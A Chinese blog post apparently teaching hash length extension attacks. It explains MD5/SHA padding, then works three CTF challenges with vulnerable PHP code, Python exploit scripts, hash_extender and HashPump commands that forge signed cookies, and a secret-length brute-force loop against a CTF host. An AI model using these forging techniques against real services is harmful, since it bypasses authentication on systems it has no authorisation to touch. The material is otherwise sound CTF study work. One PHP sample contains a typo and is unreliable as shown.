hash长度扩展攻击

hash 长度扩展攻击原理和实例

sha1 的 hash 原理

谈一下对 sha1 加密的理解。

首先,当 hash 函数拿到需要被 hash 的字符串后,先将其字节长度整除 64,取得余数。如果该余数正好等于 56,那么就在该字符串最后添加上 8 个字节的长度描述符(具体用bit表示)。如果不等于 56,就先对字符串进行长度填充,填充时第一个字节为 hex(80),其他字节均用 hex(00) 填充,填充至余数为 56 后,同样增加 8 个字节的长度描述符(该长度描述符为需要被 hash 的字符串的长度,不是填充之后整个字符串的长度)。以上过程,称之为补位。

补位完成后,字符串以 64 位一组进行分组(因为上面的余数为 56,加上 8 个字节的长度描述符后,正好是 64 位,凑成一组)。字符串能被分成几组就会进行多少次“复杂的数学变化”。每次进行“复杂的数学变化”都会生成一组新的 registers 值供下一次“复杂的数学变化”来调用。第一次“复杂的数学变化”会调用程序中的默认值。当后面已经没有分组可以进行数学变化时,该组生成的 registers 值就是最后的 hash 值。

在 sha1 的运算过程中,为确保同一个字符串的 sha1 值唯一,所以需要保证第一次 registers 的值也唯一。所以在 sha1 算法中,registers 具有初始值(固定的)。如上图中的 registers 值 0。
Hash 值的随机性完全依赖于进行 “复杂的数学变化” 时输入的 registers 值和该次运算中字符串分组的数据。如果进行 “复杂数学变化” 时输入的 registers 值和该次运算的字符串分组相同,那么他们各自生成的新的 registers 值也相同。

举个例子

当需要被 hash 的字符串为 str_a = “123456”,程序首先判断,len(str_a) % 64 == 56 是否成立。这里很明显不成立。那么程序就进行补位操作。首先补位成余数为 56 的长度。

如上图,蓝色字体就为程序对该字符串进行补位的数据。当满足 len(str_a) % 64 == 56 后,程序就在该字符串的后面添加 8 个字节的长度描述符。注意,此处的长度为原始需要被 hash 的长度。也就是

1
len(str_a) = 6 字节 *8bit/字节 = 48bit = 0x30bit。

补位+长度描述符 = 64 个字节,正好是一个分组。所以此处只要进行一次复杂的数学变化就可以了。程序根据该 64 个字节的数据和 registers 值 0 生成新的 registers 值 1。那么该新的 registers 值 1 就是 str_a 的 sha1 值。

如何利用?

讲了这么多,好像都没讲到如何利用该扩展攻击。那么下面,重点来了。

简单来说,就是服务器上会生成一个 salt 值,该 salt 值你是不可预测的。但是你又知道了 sha1(salt+filename)的值,该 filename 的值你也是知道的。假设此处的 filename 的值 report.pdf,最后 sha1 的值为:0a8d538b724c6f2b4288526eb540ee7c。为了方便理解,我们继续假设 salt 的长度为 16 位。

将上图的字符串进行 sha1 操作时,同样先进行整除,然后取余。最后再补上 8 位的长度描述符。补位+添加长度描述符后的字符串如下图:

该长度也就满足了 64 位的分组,只需要进行一次 “复杂的数学运算” 就可以得到最后的sha1值了。
下面请各位看官思考如何进行下面一个字符串的 sha1 操作。

同样,还是先进行分组。由于该字符串的长度大于 64 个字节,且小于 128 个字节,所以要分成两组,需要进行两次“复杂的数学运算”。这个时候我们发现,第一个分组的数据和上图中补码后的数据完全一样,又因为他们都是第一个分组,初始的 registers 值也一样。那么经过第一轮“复杂的数学运算”,他们各自生成的 registers 值也同样是相同的。唯一不同的是,由于上面的长度小于 64 字节,所以只需要进行一轮运算便得到了最后的 sha1 值。然后这里的字符串有两个分组,需要将第一轮更新的 registers 值(也就是第一轮运算出来的 sha1 值)作为第二轮“复杂的数学运算”的 registers 值,然后才能得出最终的 sha1 值。

根据上面例子就说明,如果 salt 的值你不知道,但是你知道长度,又知道 sha1(salt),那么就也就可以知道 sha1(salt+“填充数据”+“任意可控数据”).这里的 salt+“填充数据”就是对 salt 进行 sha1 时所补全的数据+最后8位的长度描述符。一般来说,salt+”填充数据”的长度就是64字节,正好是一个分组。如果 salt 的长度就大于了56个字节,那么加入填充数据后的长度应该是N个64字节,等于 N 个分组。如果最后一块长度大于 56 或等于 64 时一直填充到多出一个块并且该块长度为 56 字节。
为什么?你可以想象,sha1 程序再对(salt+“填充数据”+“任意可控数据”)进行 hash 时,只需要进行第二轮及第二轮以后的运算。因为第一轮运算后的 registers 值就是 sha1(salt)的值,该值你已经知道了。

PS : MD5、SHA-1、SHA-2 类似

hash 长度扩展攻击实例

实例1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
?>

python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

'''
samplehash='571580b26c65f306376d4f64e53cb5c7'
s1='0x'+samplehash[6:8]+samplehash[4:6]+samplehash[2:4]+samplehash[0:2]
s2='0x'+samplehash[14:16]+samplehash[12:14]+samplehash[10:12]+samplehash[8:10]
s3='0x'+samplehash[22:24]+samplehash[20:22]+samplehash[18:20]+samplehash[16:18]
s4='0x'+samplehash[30:32]+samplehash[28:30]+samplehash[26:28]+samplehash[24:26]
print s1,'\n',s2,'\n',s3,'\n',s4
'''
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
import my_md5
#reference:
# http://www.freebuf.com/articles/web/69264.html
#problem link:
# http://ctf4.shiyanbar.com/web/kzhan.php

samplehash="571580b26c65f306376d4f64e53cb5c7"
#将哈希值分为四段,并反转该四字节为小端序,作为64第二次循环的输入幻书
s1=0xb2801557
s2=0x06f3656c
s3=0x644f6d37
s4=0xc7b53ce5
print type(s1)

exp:

1
2
3
4
5
secret = "a"*15
secret_admin = secret+'adminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin'
r = my_md5.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)

burp抓包改包:

1
2
3
username=admin
password=admin+\x80\x00……admin
\x80\x00要在hex里面修改

实例2

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$SECRET="234098761";
echo serialize(false)."<br />";
echo serialize(true)."<br />";
$auth=false;
if (isset($_COOKIE["auth"]))
{
$auth=unserialize($_COOKIE["auth"]); //先给$auth赋一个真值
$hsh=$_COOKIE["hsh"];
echo $_COOKIE["auth"]."<br/>";
if ($hsh !== hash("sha256",$SECRET.strrev($_COOKIE["auth"])))
{
$auth=false;
echo "hsh is error! <br />";
}
}
else
{
$auth = false;
$s=serialize($auth);
setcookie("auth",$s);
setcookie("hsh",hash("sha256",$SECRET.strrev($s)));
}
if ($auth)
echo "succusel <br/>";
else
echo "fails <br />";
?>

分析:
strrev() 反转字符串

1
2
3
4
5
6
 ./hash_extender -f sha256 -l 9 -d ';0:b' -s feab615a09e9c09c1c79e806337bf73450786f1026ef88cf23a0c775b9c28391 -a ';1:b' --out-data-format=html  

Type: sha256
Secret length: 9
New signature: 4cd85bfa32cfded3b01ed2a18af281c7dfd8118fdb3ce2d0d729f48fecbb1560
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%3b1%3ab

从上面算得的值hash值是 sha256(key || padding || append) append的值是true的值。将cookie中的hsh换成上面的生成的新hash,再把上面的string逆序下:

1
b%3a1%3bh%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b

用上面的字符串修改auth的cookie值,再访问此网页就会认证成功了:

实例3

secret长度不知道暴力攻击

题目:flag在管理员手里

用御剑 1.5 扫描 找到 index.php~ 打开都是乱码
拷贝至 linux 虚拟机名字改成 .index.php.swp
vim -r index.php 保存即可

得到的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

很明显secret长度不知道,只能通过爆破

python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
#print x
#print y
url = "http://web.jarvisoj.com:32778/index.php"
cookie = "role=" + x + ";hsh=" + y
#print cookie
build_header = {
'Cookie': cookie,
'User-Agent': ' Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Host': 'web.jarvisoj.com:32778',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
urlparts = urlparse(url)
conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
conn.request("GET", urlparts.path, '', build_header)
resp = conn.getresponse()
body = resp.read()
return body

for i in xrange(1000):
print i
# secret len = ???
find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
#print find_hash
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = gao(attack_padding, hash_value)
if "Welcome" in ret:
print ret
break

将上述代码保存至 hash_extender.py
到 hash_extender 的目录下运行 python hash_extender.py 得到如下:

知识点:

HashExtender和hashdump使用

HashExtender

1
2
3
4
5
6
7
8
9
10
11
12
13
Installing
$ pip install HashExtender

Usage
>>> import hashext
>>> print hashext.md5(data = '123', sign = '109889f941630d269546335f728f3558', length = 5, append = 'test')
('123\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00test', 'e5f78513e536615a6f5164ccff96d4d9')


● data - your original signed message
● sign - message signature, MD5(secret + msg)
● length - probable length of secret string
● append - data to append to new string

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Installing

1. git clone https://github.com/iagox86/hash_extender
2. cd hash_extender
3. make

useage

./hash_extender <--data=|--file=> --signature= --format= [options]

INPUT OPTIONS
-d --data=
The original string that we're going to extend.
--data-format=
The format the string is being passed in as. Default: raw.
Valid formats: raw, hex, html, cstr
--file=
As an alternative to specifying a string, this reads the original string
as a file.
-s --signature=
The original signature.
--signature-format=
The format the signature is being passed in as. Default: hex.
Valid formats: raw, hex, html, cstr
-a --append=
The data to append to the string. Default: raw.
--append-format=
Valid formats: raw, hex, html, cstr
-f --format= [REQUIRED]
The hash_type of the signature. This can be given multiple times if you
want to try multiple signatures. 'all' will base the chosen types off
the size of the signature and use the hash(es) that make sense.
Valid types: md4, md5, ripemd160, sha, sha1, sha256, sha512, whirlpool
-l --secret=
The length of the secret, if known. Default: 8.
--secret-min=
--secret-max=
Try different secret lengths (both options are required)

OUTPUT OPTIONS
--table
Output the string in a table format.
--out-data-format=
Output data format.
Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy
--out-signature-format=
Output signature format.
Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy

OTHER OPTIONS
-h --help
Display the usage (this).
--test
Run the test suite.
-q --quiet
Only output what's absolutely necessary (the output string and the
signature)

Example:

1
2
3
4
5
6
 ./hash_extender -f sha256 -l 9 -d ';0:b' -s feab615a09e9c09c1c79e806337bf73450786f1026ef88cf23a0c775b9c28391 -a ';1:b' --out-data-format=html  

Type: sha256
Secret length: 9
New signature: 4cd85bfa32cfded3b01ed2a18af281c7dfd8118fdb3ce2d0d729f48fecbb1560
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%3b1%3ab

-f 代表加密方式

-l key的长度

-s 原始的hash值

-a 添加的值

–out-data-format 输出的格式

hashdump

1
2
3
4
5
6
Installing
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

至于想在python里实现hashpump,可以使用hashpumpy这个插件:

1
pip install hashpumpy

Usage

1
2
3
4
5
# hashpump
Input Signature: 571580b26c65f306376d4f64e53cb5c7
Input Data: admin
Input Key Length: 20
Input Data to Add: pcat

或者直接

1
hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a pcat

就会得到

1
2
3e67e8f0c05e1ad68020df30bbc505f5
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00pcat

第一个是新的签名,把它设置到cookies的getmein里。
第二个先把\x替换为%后,post提交

1
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00pcat

os 命令介绍

os.popen

1
2
3
4
5
6
7
8
9
os.system(cmd) 的返回值只会有 0(成功),1,2

os.popen(cmd) 会吧执行的 cmd 的输出作为值返回。

os.popen() 可以实现一个“管道”,从这个命令获取的值可以继续被调用。而 os.system 不同,它只是调用,调用完后自身退出,可能返回个 0 吧

比如,我想得到 ntpd 的进程 id,就要这么做:

os.popen('ps -C ntpd | grep -v CMD |awk '{ print $1 }').readlines()[0]

urlparse

将urlstring解析成6个部分,它从urlstring中取得URL,并返回元组 (scheme, netloc, path, parameters, query, fragment),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urlparse
>>> url=urlparse.urlparse('http://www.baidu.com/index.php?username=guol')
>>> print url
ParseResult(scheme='http', netloc='www.baidu.com', path='/index.php', params='', query='username=guol', fragment='')
>>> print url.netloc
www.baidu.com
>>>

urlparse.urlunparse(parts)

从一个元组构建一个url,元组类似urlparse返回的,它接收元组(scheme, netloc, path, parameters, query, fragment)后,会重新组成一个具有正确格式的URL,以便供Python的其他HTML解析模块使用。

>>> import urlparse
>>> url=urlparse.urlparse('http://www.baidu.com/index.php?username=guol')
>>> print url
ParseResult(scheme='http', netloc='www.baidu.com', path='/index.php', params='', query='username=guol', fragment='')
>>> u=urlparse.urlunparse(url)
>>> print u
http://www.baidu.com/index.php?username=guol

Example:

1
2
3
4
5
6
from urlparse import urlparse
url = "http://web.jarvisoj.com:32778/index.php"
urlparts = urlparse(url)
print urlparts.hostname,urlparts.port,urlparts.scheme

输出:web.jarvisoj.com 32778 http

HTTPConnection

HTTPConnection创建对象

HTTPConnection(host[, port[, strict[, timeout]]])
host: 请求的服务器host,不能带http://开头
port: 服务器web服务端口
strict: 是否严格检查请求的状态行,就是http1.0/1.1 协议版本的那一行,即请求的第一行,默认为False,为True时检查错误会抛异常
timeout: 单次请求的超时时间,没有时默认使用httplib模块内的全局的超时时间

HTTPConnection对象request方法:

说明:
发送一个请求

原型:

1
2
3
4
5
conn.request(method, url[, body[, headers]])
method: 请求的方式,如'GET','POST','HEAD','PUT','DELETE'
url: 请求的网页路径。如:'/index.html'
body: 请求是否带数据,该参数是一个字典
headers: 请求是否带头信息,该参数是一个字典,不过键的名字是指定的http头关键字

HTTPConnection对象getresponse方法

说明:
获取一个http响应对象,相当于执行最后的2个回车

原型/实例:

1
res = conn.getresponse()

HTTPResponse对象read方法

说明:
获得http响应的内容部分,即网页源码

原型:

1
body = res.read([amt])

amt: 读取指定长度的字符,默认为空,即读取所有内容

实例:

1
2
body = res.read()  
pbody = res.read(10)

返回:
网页内容字符串

conn.getheaders()

说明:

获得http响应头

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python    
# -*- coding: utf-8 -*-
import httplib
import urllib


def sendhttp():
data = urllib.urlencode({'@number': 12524, '@type': 'issue', '@action': 'show'})
headers = {"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain"}
conn = httplib.HTTPConnection('bugs.python.org')
conn.request('POST', '/', data, headers)
httpres = conn.getresponse()
print httpres.status
print httpres.reason
print httpres.read()


if __name__ == '__main__':
sendhttp()

-------------本文结束感谢您的阅读-------------
纯属好玩,打赏多少您随意!